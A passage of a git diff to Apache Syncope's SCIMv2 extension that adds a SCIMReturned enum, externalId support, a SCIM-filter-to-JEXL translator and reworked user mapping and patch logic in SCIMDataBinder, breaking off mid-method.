ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMReturned.java index fc4062faaa3..d5ba68f2b3c 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ReportTemplate.java +++ b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMReturned.java @@ -4,31 +4,34 @@ * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance + * License); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * AS IS BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.entity; +package org.apache.syncope.common.lib.scim; -public interface ReportTemplate extends ProvidedKeyEntity { +public enum SCIMReturned { - String getFOTemplate(); + ALWAYS("always"), + NEVER("never"), + DEFAULT("default"), + REQUEST("request"); - void setFOTemplate(String foTemplate); + private final String returned; - String getCSVTemplate(); + SCIMReturned(final String returned) { + this.returned = returned; + } - void setCSVTemplate(String csvTemplate); - - String getHTMLTemplate(); - - void setHTMLTemplate(String htmlTemplate); + public String getReturned() { + return returned; + } } diff --git a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMUserConf.java b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMUserConf.java index c2c0d15b924..f89fc8b3da3 100644 --- a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMUserConf.java +++ b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMUserConf.java @@ -34,6 +34,8 @@ public class SCIMUserConf implements Serializable { private static final long serialVersionUID = -2700011089067219156L; + private String externalId; + private SCIMUserNameConf name; private String displayName; @@ -68,6 +70,10 @@ public class SCIMUserConf implements Serializable { public Map asMap() { Map map = new HashMap<>(); + if (externalId != null) { + map.put("externalId", externalId); + } + if (displayName != null) { map.put("displayName", displayName); } @@ -96,6 +102,14 @@ public Map asMap() { return Collections.unmodifiableMap(map); } + public String getExternalId() { + return externalId; + } + + public void setExternalId(final String externalId) { + this.externalId = externalId; + } + public SCIMUserNameConf getName() { return name; } @@ -191,5 +205,4 @@ public List getAddresses() { public List getX509Certificates() { return x509Certificates; } - } diff --git a/ext/scimv2/logic/pom.xml b/ext/scimv2/logic/pom.xml index 82b3448757c..3d03d4ebae6 100644 --- a/ext/scimv2/logic/pom.xml +++ b/ext/scimv2/logic/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-scimv2 - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SCIMv2 Logic @@ -61,7 +61,17 @@ under the License. org.antlr antlr4-runtime - + + + org.slf4j + slf4j-simple + test + + + org.mockito + mockito-junit-jupiter + test + org.junit.jupiter junit-jupiter diff --git a/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMDataBinder.java b/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMDataBinder.java index 65943b14c15..63fe83021dd 100644 --- a/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMDataBinder.java +++ b/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMDataBinder.java @@ -19,34 +19,69 @@ package org.apache.syncope.core.logic; import java.util.ArrayList; +import java.util.Collection; import java.util.HashMap; +import java.util.HashSet; import java.util.List; import java.util.Map; +import java.util.Optional; import java.util.Set; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.atomic.AtomicReference; import java.util.stream.Collectors; +import org.apache.commons.jexl3.MapContext; +import org.apache.commons.lang3.BooleanUtils; import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.EntityTOUtils; import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.request.AnyObjectCR; +import org.apache.syncope.common.lib.request.AnyObjectUR; +import org.apache.syncope.common.lib.request.AttrPatch; import org.apache.syncope.common.lib.request.GroupCR; +import org.apache.syncope.common.lib.request.GroupUR; +import org.apache.syncope.common.lib.request.MembershipUR; +import org.apache.syncope.common.lib.request.PasswordPatch; +import org.apache.syncope.common.lib.request.StatusR; +import org.apache.syncope.common.lib.request.StringPatchItem; +import org.apache.syncope.common.lib.request.StringReplacePatchItem; import org.apache.syncope.common.lib.request.UserCR; +import org.apache.syncope.common.lib.request.UserUR; import org.apache.syncope.common.lib.scim.SCIMComplexConf; import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.scim.SCIMEnterpriseUserConf; +import org.apache.syncope.common.lib.scim.SCIMExtensionAnyObjectConf; +import org.apache.syncope.common.lib.scim.SCIMManagerConf; +import org.apache.syncope.common.lib.scim.SCIMUserAddressConf; +import org.apache.syncope.common.lib.to.AnyObjectTO; import org.apache.syncope.common.lib.to.GroupTO; import org.apache.syncope.common.lib.to.MembershipTO; import org.apache.syncope.common.lib.to.UserTO; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.common.lib.types.PatchOperation; +import org.apache.syncope.common.lib.types.StatusRType; import org.apache.syncope.core.logic.scim.SCIMConfManager; import org.apache.syncope.core.persistence.api.dao.AnyDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.search.MembershipCond; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; +import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.persistence.api.entity.user.UMembership; +import org.apache.syncope.core.provisioning.api.jexl.JexlUtils; import org.apache.syncope.core.spring.security.AuthDataAccessor; import org.apache.syncope.ext.scimv2.api.BadRequestException; import org.apache.syncope.ext.scimv2.api.data.Group; import org.apache.syncope.ext.scimv2.api.data.Member; import org.apache.syncope.ext.scimv2.api.data.Meta; +import org.apache.syncope.ext.scimv2.api.data.SCIMAnyObject; import org.apache.syncope.ext.scimv2.api.data.SCIMComplexValue; import org.apache.syncope.ext.scimv2.api.data.SCIMEnterpriseInfo; +import org.apache.syncope.ext.scimv2.api.data.SCIMExtensionInfo; import org.apache.syncope.ext.scimv2.api.data.SCIMGroup; +import org.apache.syncope.ext.scimv2.api.data.SCIMPatchOp; +import org.apache.syncope.ext.scimv2.api.data.SCIMPatchOperation; import org.apache.syncope.ext.scimv2.api.data.SCIMUser; import org.apache.syncope.ext.scimv2.api.data.SCIMUserAddress; import org.apache.syncope.ext.scimv2.api.data.SCIMUserManager; @@ -54,20 +89,46 @@ import org.apache.syncope.ext.scimv2.api.data.Value; import org.apache.syncope.ext.scimv2.api.type.ErrorType; import org.apache.syncope.ext.scimv2.api.type.Function; +import org.apache.syncope.ext.scimv2.api.type.PatchOp; import org.apache.syncope.ext.scimv2.api.type.Resource; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; public class SCIMDataBinder { protected static final Logger LOG = LoggerFactory.getLogger(SCIMDataBinder.class); - protected static final List USER_SCHEMAS = List.of(Resource.User.schema()); - - protected static final List ENTERPRISE_USER_SCHEMAS = - List.of(Resource.User.schema(), Resource.EnterpriseUser.schema()); + /** + * Translates the given SCIM filter into the equivalent JEXL expression. + * + * @param filter SCIM filter according to https://www.rfc-editor.org/rfc/rfc7644#section-3.4.2.2 + * @return translated JEXL expression; see https://commons.apache.org/proper/commons-jexl/reference/syntax.html + * */ + public static String filter2JexlExpression(final String filter) { + String jexlExpression = filter. + replace(" co ", " =~ "). + replace(" sw ", " =^ "). + replace(" ew ", " =$ "); + + boolean endsWithPR = jexlExpression.endsWith(" pr"); + int pr = endsWithPR ? jexlExpression.indexOf(" pr") : jexlExpression.indexOf(" pr "); + while (pr != -1) { + String before = jexlExpression.substring(0, pr); + int start = before.indexOf(' ') == -1 ? 0 : jexlExpression.substring(0, pr).lastIndexOf(' ', pr) + 1; + String literal = jexlExpression.substring(start, pr); + + endsWithPR = jexlExpression.endsWith(" pr"); + jexlExpression = jexlExpression.replace( + literal + " pr" + (endsWithPR ? "" : " "), + "not(empty(" + literal + "))" + (endsWithPR ? "" : " ")); + + pr = endsWithPR ? jexlExpression.indexOf(" pr") : jexlExpression.indexOf(" pr "); + } - protected static final List GROUP_SCHEMAS = List.of(Resource.Group.schema()); + return jexlExpression; + } protected final SCIMConfManager confManager; @@ -75,14 +136,18 @@ public class SCIMDataBinder { protected final AuthDataAccessor authDataAccessor; + protected final GroupDAO groupDAO; + public SCIMDataBinder( final SCIMConfManager confManager, final UserLogic userLogic, - final AuthDataAccessor authDataAccessor) { + final AuthDataAccessor authDataAccessor, + final GroupDAO groupDAO) { this.confManager = confManager; this.userLogic = userLogic; this.authDataAccessor = authDataAccessor; + this.groupDAO = groupDAO; } protected > void fill( @@ -102,9 +167,8 @@ protected > void fill( if (conf.getType() != null) { value.setType(conf.getType().name()); } - if (conf.isPrimary()) { - value.setPrimary(true); - } + + value.setPrimary(conf.isPrimary()); if (!value.isEmpty()) { values.add(value); @@ -145,15 +209,17 @@ public SCIMUser toSCIMUser( if (conf.getEnterpriseUserConf() != null) { schemas.add(Resource.EnterpriseUser.schema()); } + if (conf.getExtensionUserConf() != null) { + schemas.add(Resource.ExtensionUser.schema()); + } SCIMUser user = new SCIMUser( userTO.getKey(), schemas, new Meta( - Resource.User, + Resource.User.name(), userTO.getCreationDate(), - userTO.getLastChangeDate() == null - ? userTO.getCreationDate() : userTO.getLastChangeDate(), + Optional.ofNullable(userTO.getLastChangeDate()).orElse(userTO.getCreationDate()), userTO.getETagValue(), location), output(attributes, excludedAttributes, "userName", userTO.getUsername()), @@ -166,6 +232,13 @@ public SCIMUser toSCIMUser( attrs.put("username", new Attr.Builder("username").value(userTO.getUsername()).build()); if (conf.getUserConf() != null) { + if (output(attributes, excludedAttributes, "externalId") + && conf.getUserConf().getExternalId() != null + && attrs.containsKey(conf.getUserConf().getExternalId())) { + + user.setExternalId(attrs.get(conf.getUserConf().getExternalId()).getValues().get(0)); + } + if (output(attributes, excludedAttributes, "name") && conf.getUserConf().getName() != null) { SCIMUserName name = new SCIMUserName(); @@ -300,122 +373,187 @@ public SCIMUser toSCIMUser( }); } if (output(attributes, excludedAttributes, "x509Certificates")) { - conf.getUserConf().getX509Certificates().stream() - .filter(attrs::containsKey) - .forEachOrdered(certificate -> user.getX509Certificates().add( - new Value(attrs.get(certificate).getValues().get(0)))); + conf.getUserConf().getX509Certificates().stream().filter(attrs::containsKey). + forEach(cert -> user.getX509Certificates().add(new Value(attrs.get(cert).getValues().get(0)))); } + } - if (conf.getEnterpriseUserConf() != null) { - SCIMEnterpriseInfo enterpriseInfo = new SCIMEnterpriseInfo(); - - if (output(attributes, excludedAttributes, "employeeNumber") - && conf.getEnterpriseUserConf().getEmployeeNumber() != null - && attrs.containsKey(conf.getEnterpriseUserConf().getEmployeeNumber())) { - - enterpriseInfo.setEmployeeNumber( - attrs.get(conf.getEnterpriseUserConf().getEmployeeNumber()).getValues().get(0)); - } - if (output(attributes, excludedAttributes, "costCenter") - && conf.getEnterpriseUserConf().getCostCenter() != null - && attrs.containsKey(conf.getEnterpriseUserConf().getCostCenter())) { - - enterpriseInfo.setCostCenter( - attrs.get(conf.getEnterpriseUserConf().getCostCenter()).getValues().get(0)); - } - if (output(attributes, excludedAttributes, "organization") - && conf.getEnterpriseUserConf().getOrganization() != null - && attrs.containsKey(conf.getEnterpriseUserConf().getOrganization())) { - - enterpriseInfo.setOrganization( - attrs.get(conf.getEnterpriseUserConf().getOrganization()).getValues().get(0)); - } - if (output(attributes, excludedAttributes, "division") - && conf.getEnterpriseUserConf().getDivision() != null - && attrs.containsKey(conf.getEnterpriseUserConf().getDivision())) { + if (conf.getEnterpriseUserConf() != null) { + SCIMEnterpriseInfo enterpriseInfo = new SCIMEnterpriseInfo(); - enterpriseInfo.setDivision( - attrs.get(conf.getEnterpriseUserConf().getDivision()).getValues().get(0)); - } - if (output(attributes, excludedAttributes, "department") - && conf.getEnterpriseUserConf().getDepartment() != null - && attrs.containsKey(conf.getEnterpriseUserConf().getDepartment())) { + if (output(attributes, excludedAttributes, "employeeNumber") + && conf.getEnterpriseUserConf().getEmployeeNumber() != null + && attrs.containsKey(conf.getEnterpriseUserConf().getEmployeeNumber())) { - enterpriseInfo.setDepartment( - attrs.get(conf.getEnterpriseUserConf().getDepartment()).getValues().get(0)); - } - if (output(attributes, excludedAttributes, "manager") - && conf.getEnterpriseUserConf().getManager() != null) { + enterpriseInfo.setEmployeeNumber( + attrs.get(conf.getEnterpriseUserConf().getEmployeeNumber()).getValues().get(0)); + } + if (output(attributes, excludedAttributes, "costCenter") + && conf.getEnterpriseUserConf().getCostCenter() != null + && attrs.containsKey(conf.getEnterpriseUserConf().getCostCenter())) { - SCIMUserManager manager = new SCIMUserManager(); + enterpriseInfo.setCostCenter( + attrs.get(conf.getEnterpriseUserConf().getCostCenter()).getValues().get(0)); + } + if (output(attributes, excludedAttributes, "organization") + && conf.getEnterpriseUserConf().getOrganization() != null + && attrs.containsKey(conf.getEnterpriseUserConf().getOrganization())) { - if (conf.getEnterpriseUserConf().getManager().getKey() != null - && attrs.containsKey(conf.getEnterpriseUserConf().getManager().getKey())) { + enterpriseInfo.setOrganization( + attrs.get(conf.getEnterpriseUserConf().getOrganization()).getValues().get(0)); + } + if (output(attributes, excludedAttributes, "division") + && conf.getEnterpriseUserConf().getDivision() != null + && attrs.containsKey(conf.getEnterpriseUserConf().getDivision())) { - try { - UserTO userManager = userLogic.read(attrs.get( - conf.getEnterpriseUserConf().getManager().getKey()).getValues().get(0)); - manager.setValue(userManager.getKey()); - manager.setRef( - StringUtils.substringBefore(location, "/Users") + "/Users/" + userManager.getKey()); + enterpriseInfo.setDivision( + attrs.get(conf.getEnterpriseUserConf().getDivision()).getValues().get(0)); + } + if (output(attributes, excludedAttributes, "department") + && conf.getEnterpriseUserConf().getDepartment() != null + && attrs.containsKey(conf.getEnterpriseUserConf().getDepartment())) { - if (conf.getEnterpriseUserConf().getManager().getDisplayName() != null) { - Attr displayName = userManager.getPlainAttr( + enterpriseInfo.setDepartment( + attrs.get(conf.getEnterpriseUserConf().getDepartment()).getValues().get(0)); + } + if (output(attributes, excludedAttributes, "manager") + && conf.getEnterpriseUserConf().getManager() != null) { + + SCIMUserManager manager = new SCIMUserManager(); + + if (conf.getEnterpriseUserConf().getManager().getKey() != null + && attrs.containsKey(conf.getEnterpriseUserConf().getManager().getKey())) { + + try { + UserTO userManager = userLogic.read(attrs.get( + conf.getEnterpriseUserConf().getManager().getKey()).getValues().get(0)); + manager.setValue(userManager.getKey()); + manager.setRef( + StringUtils.substringBefore(location, "/Users") + "/Users/" + userManager.getKey()); + + if (conf.getEnterpriseUserConf().getManager().getDisplayName() != null) { + Attr displayName = userManager.getPlainAttr( + conf.getEnterpriseUserConf().getManager().getDisplayName()).orElse(null); + if (displayName == null) { + displayName = userManager.getDerAttr( conf.getEnterpriseUserConf().getManager().getDisplayName()).orElse(null); - if (displayName == null) { - displayName = userManager.getDerAttr( - conf.getEnterpriseUserConf().getManager().getDisplayName()).orElse(null); - } - if (displayName == null) { - displayName = userManager.getVirAttr( - conf.getEnterpriseUserConf().getManager().getDisplayName()).orElse(null); - } - if (displayName != null) { - manager.setDisplayName(displayName.getValues().get(0)); - } } - } catch (Exception e) { - LOG.error("Could not read user {}", conf.getEnterpriseUserConf().getManager().getKey(), e); + if (displayName == null) { + displayName = userManager.getVirAttr( + conf.getEnterpriseUserConf().getManager().getDisplayName()).orElse(null); + } + if (displayName != null) { + manager.setDisplayName(displayName.getValues().get(0)); + } } - } - - if (!manager.isEmpty()) { - enterpriseInfo.setManager(manager); + } catch (Exception e) { + LOG.error("Could not read user {}", conf.getEnterpriseUserConf().getManager().getKey(), e); } } - if (!enterpriseInfo.isEmpty()) { - user.setEnterpriseInfo(enterpriseInfo); + if (!manager.isEmpty()) { + enterpriseInfo.setManager(manager); } } - if (output(attributes, excludedAttributes, "groups")) { - userTO.getMemberships().forEach(membership -> user.getGroups().add(new Group( - membership.getGroupKey(), - StringUtils.substringBefore(location, "/Users") + "/Groups/" + membership.getGroupKey(), - membership.getGroupName(), - Function.direct))); - userTO.getDynMemberships().forEach(membership -> user.getGroups().add(new Group( - membership.getGroupKey(), - StringUtils.substringBefore(location, "/Users") + "/Groups/" + membership.getGroupKey(), - membership.getGroupName(), - Function.indirect))); + if (!enterpriseInfo.isEmpty()) { + user.setEnterpriseInfo(enterpriseInfo); } + } - if (output(attributes, excludedAttributes, "entitlements")) { - authDataAccessor.getAuthorities(userTO.getUsername(), null).forEach(authority -> user.getEntitlements(). - add(new Value(authority.getAuthority() + " on Realm(s) " + authority.getRealms()))); - } + if (conf.getExtensionUserConf() != null) { + SCIMExtensionInfo extensionInfo = new SCIMExtensionInfo(); + conf.getExtensionUserConf().asMap().forEach((scimAttr, syncopeAttr) -> { + if (output(attributes, excludedAttributes, scimAttr) && attrs.containsKey(syncopeAttr)) { + extensionInfo.getAttributes().put(scimAttr, attrs.get(syncopeAttr).getValues().get(0)); + } + }); - if (output(attributes, excludedAttributes, "roles")) { - userTO.getRoles().forEach(role -> user.getRoles().add(new Value(role))); + if (!extensionInfo.isEmpty()) { + user.setExtensionInfo(extensionInfo); } } + if (output(attributes, excludedAttributes, "groups")) { + userTO.getMemberships().forEach(membership -> user.getGroups().add(new Group( + membership.getGroupKey(), + StringUtils.substringBefore(location, "/Users") + "/Groups/" + membership.getGroupKey(), + membership.getGroupName(), + Function.direct))); + userTO.getDynMemberships().forEach(membership -> user.getGroups().add(new Group( + membership.getGroupKey(), + StringUtils.substringBefore(location, "/Users") + "/Groups/" + membership.getGroupKey(), + membership.getGroupName(), + Function.indirect))); + } + + if (output(attributes, excludedAttributes, "entitlements")) { + authDataAccessor.getAuthorities(userTO.getUsername(), null).forEach(authority -> user.getEntitlements(). + add(new Value(authority.getAuthority() + " on Realm(s) " + authority.getRealms()))); + } + + if (output(attributes, excludedAttributes, "roles")) { + userTO.getRoles().forEach(role -> user.getRoles().add(new Value(role))); + } + return user; } - protected > void fill( + protected void setAttribute( + final UserTO userTO, + final String schema, + final String value) { + + if (schema == null || value == null) { + return; + } + + switch (schema) { + case "username": + userTO.setUsername(value); + break; + + default: + userTO.getPlainAttrs().add(new Attr.Builder(schema).value(value).build()); + } + } + + protected void setAttribute( + final GroupTO groupTO, + final String schema, + final String value) { + + if (schema == null || value == null) { + return; + } + + switch (schema) { + case "name": + groupTO.setName(value); + break; + + default: + groupTO.getPlainAttrs().add(new Attr.Builder(schema).value(value).build()); + } + } + + protected void setAttribute( + final AnyObjectTO anyObjectTO, + final String schema, + final String value) { + + if (schema == null || value == null) { + return; + } + + if ("name".equals(schema)) { + anyObjectTO.setName(value); + } else { + anyObjectTO.getPlainAttrs().add(new Attr.Builder(schema).value(value).build()); + } + } + + protected > void setAttribute( final Set attrs, final List> confs, final List values) { @@ -426,161 +564,482 @@ protected > void fill( new Attr.Builder(conf.getValue()).value(value.getValue()).build()))); } - public UserTO toUserTO(final SCIMUser user) { - if (!USER_SCHEMAS.equals(user.getSchemas()) && !ENTERPRISE_USER_SCHEMAS.equals(user.getSchemas())) { - throw new BadRequestException(ErrorType.invalidValue); + protected > void setAttribute( + final Set attrs, + final Set attrPatches, + final List> confs, + final List values) { + + values.stream().filter(value -> value.getType() != null).forEach(value -> confs.stream(). + filter(object -> value.getType().equals(object.getType().name()) + && attrPatches.stream().noneMatch(attrPatch -> + attrPatch.getAttr().getSchema().equals(object.getValue()))).findFirst(). + ifPresent(conf -> attrs.add( + new Attr.Builder(conf.getValue()).value(value.getValue()).build()))); + } + + public void populateUserUR( + final UserUR userUR, + final UserTO before, + final SCIMUser user, + final Collection resources, + final SCIMPatchOperation op) { + SCIMConf conf = confManager.get(); + + if (!SyncopeConstants.ROOT_REALM.equals(before.getRealm())) { + userUR.setRealm(new StringReplacePatchItem.Builder() + .value(SyncopeConstants.ROOT_REALM).operation(PatchOperation.ADD_REPLACE).build()); } - UserTO userTO = new UserTO(); - userTO.setRealm(SyncopeConstants.ROOT_REALM); - userTO.setKey(user.getId()); - userTO.setPassword(user.getPassword()); - userTO.setUsername(user.getUserName()); + if (StringUtils.isNotBlank(user.getPassword())) { + userUR.setPassword(new PasswordPatch.Builder() + .value(user.getPassword()).resources(resources).operation(PatchOperation.ADD_REPLACE).build()); + } - SCIMConf conf = confManager.get(); + if (StringUtils.isNotBlank(user.getUserName()) && !user.getUserName().equals(before.getUsername())) { + userUR.setUsername(new StringReplacePatchItem.Builder() + .value(user.getUserName()).operation(PatchOperation.ADD_REPLACE).build()); + } if (conf.getUserConf() != null) { + setAttribute( + before, + userUR, + conf.getUserConf().getExternalId(), + user.getExternalId(), + op); + if (conf.getUserConf().getName() != null && user.getName() != null) { - if (conf.getUserConf().getName().getFamilyName() != null - && user.getName().getFamilyName() != null) { + setAttribute( + before, + userUR, + conf.getUserConf().getName().getFamilyName(), + user.getName().getFamilyName(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getName().getFormatted(), + user.getName().getFormatted(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getName().getGivenName(), + user.getName().getGivenName(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getName().getHonorificPrefix(), + user.getName().getHonorificPrefix(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getName().getHonorificSuffix(), + user.getName().getHonorificSuffix(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getName().getMiddleName(), + user.getName().getMiddleName(), + op); + } - setAttribute(userTO, conf.getUserConf().getName().getFamilyName(), - user.getName().getFamilyName()); - } - if (conf.getUserConf().getName().getFormatted() != null - && user.getName().getFormatted() != null) { + setAttribute( + before, + userUR, + conf.getUserConf().getDisplayName(), + user.getDisplayName(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getNickName(), + user.getNickName(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getProfileUrl(), + user.getProfileUrl(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getTitle(), + user.getTitle(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getUserType(), + user.getUserType(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getPreferredLanguage(), + user.getPreferredLanguage(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getLocale(), + user.getLocale(), + op); + + setAttribute( + before, + userUR, + conf.getUserConf().getTimezone(), + user.getTimezone(), + op); + + setAttribute( + before.getPlainAttrs(), userUR.getPlainAttrs(), conf.getUserConf().getEmails(), user.getEmails()); + setAttribute( + before.getPlainAttrs(), + userUR.getPlainAttrs(), + conf.getUserConf().getPhoneNumbers(), + user.getPhoneNumbers()); + setAttribute(before.getPlainAttrs(), userUR.getPlainAttrs(), conf.getUserConf().getIms(), user.getIms()); + setAttribute( + before.getPlainAttrs(), userUR.getPlainAttrs(), conf.getUserConf().getPhotos(), user.getPhotos()); - setAttribute(userTO, conf.getUserConf().getName().getFormatted(), - user.getName().getFormatted()); - } - if (conf.getUserConf().getName().getGivenName() != null - && user.getName().getGivenName() != null) { + user.getAddresses().stream().filter(address -> address.getType() != null). + forEach(address -> conf.getUserConf().getAddresses().stream(). + filter(object -> address.getType().equals(object.getType().name())).findFirst(). + ifPresent(addressConf -> { + setAttribute( + before, + userUR, + addressConf.getFormatted(), + address.getFormatted(), + op); + + setAttribute( + before, + userUR, + addressConf.getStreetAddress(), + address.getStreetAddress(), + op); + + setAttribute( + before, + userUR, + addressConf.getLocality(), + address.getLocality(), + op); + + setAttribute( + before, + userUR, + addressConf.getRegion(), + address.getRegion(), + op); + + setAttribute( + before, + userUR, + addressConf.getPostalCode(), + address.getPostalCode(), + op); + + setAttribute( + before, + userUR, + addressConf.getCountry(), + address.getCountry(), + op); + })); - setAttribute(userTO, conf.getUserConf().getName().getGivenName(), - user.getName().getGivenName()); + for (int i = 0; i < user.getX509Certificates().size(); i++) { + Value certificate = user.getX509Certificates().get(i); + if (conf.getUserConf().getX509Certificates().size() > i) { + setAttribute( + before, + userUR, + conf.getUserConf().getX509Certificates().get(i), + certificate.getValue(), + op); } - if (conf.getUserConf().getName().getHonorificPrefix() != null - && user.getName().getHonorificPrefix() != null) { + } + } - setAttribute(userTO, conf.getUserConf().getName().getHonorificPrefix(), - user.getName().getHonorificPrefix()); - } - if (conf.getUserConf().getName().getHonorificSuffix() != null - && user.getName().getHonorificSuffix() != null) { + if (conf.getEnterpriseUserConf() != null && user.getEnterpriseInfo() != null) { + setAttribute( + before, + userUR, + conf.getEnterpriseUserConf().getEmployeeNumber(), + user.getEnterpriseInfo().getEmployeeNumber(), + op); + + setAttribute( + before, + userUR, + conf.getEnterpriseUserConf().getCostCenter(), + user.getEnterpriseInfo().getCostCenter(), + op); + + setAttribute( + before, + userUR, + conf.getEnterpriseUserConf().getOrganization(), + user.getEnterpriseInfo().getOrganization(), + op); + + setAttribute( + before, + userUR, + conf.getEnterpriseUserConf().getDivision(), + user.getEnterpriseInfo().getDivision(), + op); + + setAttribute( + before, + userUR, + conf.getEnterpriseUserConf().getDepartment(), + user.getEnterpriseInfo().getDepartment(), + op); + + setAttribute( + before, + userUR, + Optional.ofNullable(conf.getEnterpriseUserConf().getManager()). + map(SCIMManagerConf::getKey).orElse(null), + Optional.ofNullable(user.getEnterpriseInfo().getManager()). + map(SCIMUserManager::getValue).orElse(null), + op); + } - setAttribute(userTO, conf.getUserConf().getName().getHonorificSuffix(), - user.getName().getHonorificSuffix()); - } - if (conf.getUserConf().getName().getMiddleName() != null - && user.getName().getMiddleName() != null) { + if (conf.getExtensionUserConf() != null && user.getExtensionInfo() != null) { + conf.getExtensionUserConf().asMap().forEach((scimAttr, syncopeAttr) -> setAttribute( + before, userUR, syncopeAttr, user.getExtensionInfo().getAttributes().get(scimAttr), op)); + } - setAttribute(userTO, conf.getUserConf().getName().getMiddleName(), - user.getName().getMiddleName()); - } + user.getGroups().forEach(group -> { + if (before.getMembership(group.getValue()).isEmpty() + && userUR.getMemberships().stream().noneMatch(membershipUR -> + membershipUR.getGroup().equals(group.getValue()))) { + userUR.getMemberships().add(new MembershipUR.Builder(group.getValue()) + .operation(PatchOperation.ADD_REPLACE).build()); } + }); - if (conf.getUserConf().getDisplayName() != null && user.getDisplayName() != null) { - setAttribute(userTO, conf.getUserConf().getDisplayName(), user.getDisplayName()); - } - if (conf.getUserConf().getNickName() != null && user.getNickName() != null) { - setAttribute(userTO, conf.getUserConf().getNickName(), user.getNickName()); - } - if (conf.getUserConf().getProfileUrl() != null && user.getProfileUrl() != null) { - setAttribute(userTO, conf.getUserConf().getProfileUrl(), user.getProfileUrl()); - } - if (conf.getUserConf().getTitle() != null && user.getTitle() != null) { - setAttribute(userTO, conf.getUserConf().getTitle(), - user.getTitle()); - } - if (conf.getUserConf().getUserType() != null && user.getUserType() != null) { - setAttribute(userTO, conf.getUserConf().getUserType(), user.getUserType()); + user.getRoles().forEach(role -> { + if (!before.getRoles().contains(role.getValue()) + && userUR.getRoles().stream().noneMatch(roleUR -> + roleUR.getValue().equals(role.getValue()))) { + userUR.getRoles().add(new StringPatchItem.Builder() + .value(role.getValue()).operation(PatchOperation.ADD_REPLACE).build()); } - if (conf.getUserConf().getPreferredLanguage() != null && user.getPreferredLanguage() != null) { - setAttribute(userTO, conf.getUserConf().getPreferredLanguage(), user.getPreferredLanguage()); - } - if (conf.getUserConf().getLocale() != null && user.getLocale() != null) { - setAttribute(userTO, conf.getUserConf().getLocale(), user.getLocale()); - } - if (conf.getUserConf().getTimezone() != null && user.getTimezone() != null) { - setAttribute(userTO, conf.getUserConf().getTimezone(), user.getTimezone()); + }); + } + + public UserTO toUserTO(final SCIMUser user, final boolean checkSchemas) { + SCIMConf conf = confManager.get(); + + Set expectedSchemas = new HashSet<>(); + expectedSchemas.add(Resource.User.schema()); + if (conf.getEnterpriseUserConf() != null) { + expectedSchemas.add(Resource.EnterpriseUser.schema()); + } + if (conf.getExtensionUserConf() != null) { + expectedSchemas.add(Resource.ExtensionUser.schema()); + } + if (checkSchemas + && (!user.getSchemas().containsAll(expectedSchemas) + || !expectedSchemas.containsAll(user.getSchemas()))) { + + throw new BadRequestException(ErrorType.invalidValue); + } + + UserTO userTO = new UserTO(); + userTO.setRealm(SyncopeConstants.ROOT_REALM); + userTO.setKey(user.getId()); + userTO.setPassword(user.getPassword()); + userTO.setUsername(user.getUserName()); + + if (conf.getUserConf() != null) { + setAttribute( + userTO, + conf.getUserConf().getExternalId(), + user.getExternalId()); + + if (conf.getUserConf().getName() != null && user.getName() != null) { + setAttribute( + userTO, + conf.getUserConf().getName().getFamilyName(), + user.getName().getFamilyName()); + + setAttribute( + userTO, + conf.getUserConf().getName().getFormatted(), + user.getName().getFormatted()); + + setAttribute( + userTO, + conf.getUserConf().getName().getGivenName(), + user.getName().getGivenName()); + + setAttribute( + userTO, + conf.getUserConf().getName().getHonorificPrefix(), + user.getName().getHonorificPrefix()); + + setAttribute( + userTO, + conf.getUserConf().getName().getHonorificSuffix(), + user.getName().getHonorificSuffix()); + + setAttribute( + userTO, + conf.getUserConf().getName().getMiddleName(), + user.getName().getMiddleName()); } - fill(userTO.getPlainAttrs(), conf.getUserConf().getEmails(), user.getEmails()); - fill(userTO.getPlainAttrs(), conf.getUserConf().getPhoneNumbers(), 